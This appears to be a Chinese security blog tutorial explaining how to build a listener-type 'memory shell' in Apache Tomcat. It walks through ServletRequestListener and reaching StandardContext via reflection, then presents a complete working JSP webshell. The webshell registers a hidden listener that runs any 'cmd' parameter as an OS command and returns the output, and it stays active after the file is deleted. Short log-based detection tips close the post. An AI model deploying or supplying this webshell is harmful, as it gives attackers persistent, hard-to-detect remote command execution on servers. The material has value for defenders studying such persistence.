Tomcat内存马(一)


tomcat的第一个内存马,listener型

tomcat环境搭建

参考使用idea进行tomcat源码调试

Listener型内存马

在tomcat容器中,当我们请求网站的时候,会根据顺序执行我们的tomcat三大件Servlet、filter、listener

其顺序如下:

1
Listener -> Filter -> Servlet

Listener监听器是最先被加载的,所以可以利用动态注册恶意listener内存马。

listener分为以下几种:

  • ServletContext,服务器启动和终止时触发
  • Session,涉及到session操作的时候会触发
  • Request,访问服务的时候会触发

光听描述就知道我们肯定用监听Request的Listener做内存马

ServletRequestListener

要在tomcat中引入listener的话,可以通过实现两种接口中的一种来引入,一个是LifecycleListener,另一个是EventListener

实现LifecycleListener接口的监听器一般作用于tomcat的启动阶段,此时请求服务根本还没有进入解析阶段,所以不适合做内存马

所以我们选择实现EventListener接口的listener做内存马

在tomcat中,定义了很多继承于EventListener的接口,应用于各个对象的监听,如图(按ctrl+alt+b触发)

我们锁定一个接口ServletRequestListener

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package javax.servlet;

import java.util.EventListener;

/**
* A ServletRequestListener can be implemented by the developer interested in being notified of requests coming in and
* out of scope in a web component. A request is defined as coming into scope when it is about to enter the first
* servlet or filter in each web application, as going out of scope when it exits the last servlet or the first filter
* in the chain.
*
* @since Servlet 2.4
*/
public interface ServletRequestListener extends EventListener {

/**
* The request is about to go out of scope of the web application.
*
* @param sre Information about the request
*/
void requestDestroyed(ServletRequestEvent sre);

/**
* The request is about to come into scope of the web application.
*
* @param sre Information about the request
*/
void requestInitialized(ServletRequestEvent sre);
}

可以根据方法的注释得出这个监听器能够监听请求初始化和销毁的时候:

**requestInitialized:**在request对象创建时触发

**requestDestroyed:**在request对象销毁时触发

demo

简单写一个demo实现这个listener:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.Err0r233;

import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent){
System.out.println("执行了TestListener requestDestroyed");
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent){
System.out.println("执行了TestListener requestInitialized");
}

}

/webapps/ROOT/WEB-INF/web.xml中添加Listener:

添加完毕后重启tomcat,并访问,观察console:

StandardContext

在requestInitialized函数下打断点观察调用栈:

观察到上一步是在StandardContext#getApplicationEventListeners中得到我们的监听器并且执行该requestInitialized方法:

跟进这个getApplicationEventListeners

跟进applicationEventListenersList,寻找能够添加它的方法

StandardContext#addApplicationEventListener中添加了listener:

1
2
3
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}

那问题来到如何调用addApplicationEventListener方法。这个时候不难想到利用万能的反射,先调用到StandardContext对象,再调用该对象的addApplicationListener方法:

1
2
3
4
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

通过请求获取到上下文

另一种方法如下:

1
2
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

因此不难理解这个jsp内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}

public void requestInitialized(ServletRequestEvent sre) {}
}
%>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>

简单地说就是先利用反射获取到request对象从而获取到StandardContext(继承了context,找getContext方法转型即可),从而直接添加该listener到tomcat当中

当上传了该jsp并且访问之后,即使删除了jsp,或者访问任意页面,都能够造成命令执行:

可能会执行两次,原因不详(

总之能用就是了,除非服务器重启了,否则一直能够用

检查内存马

如果是通过命令执行漏洞,那么看看日志的请求应该能排查

可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200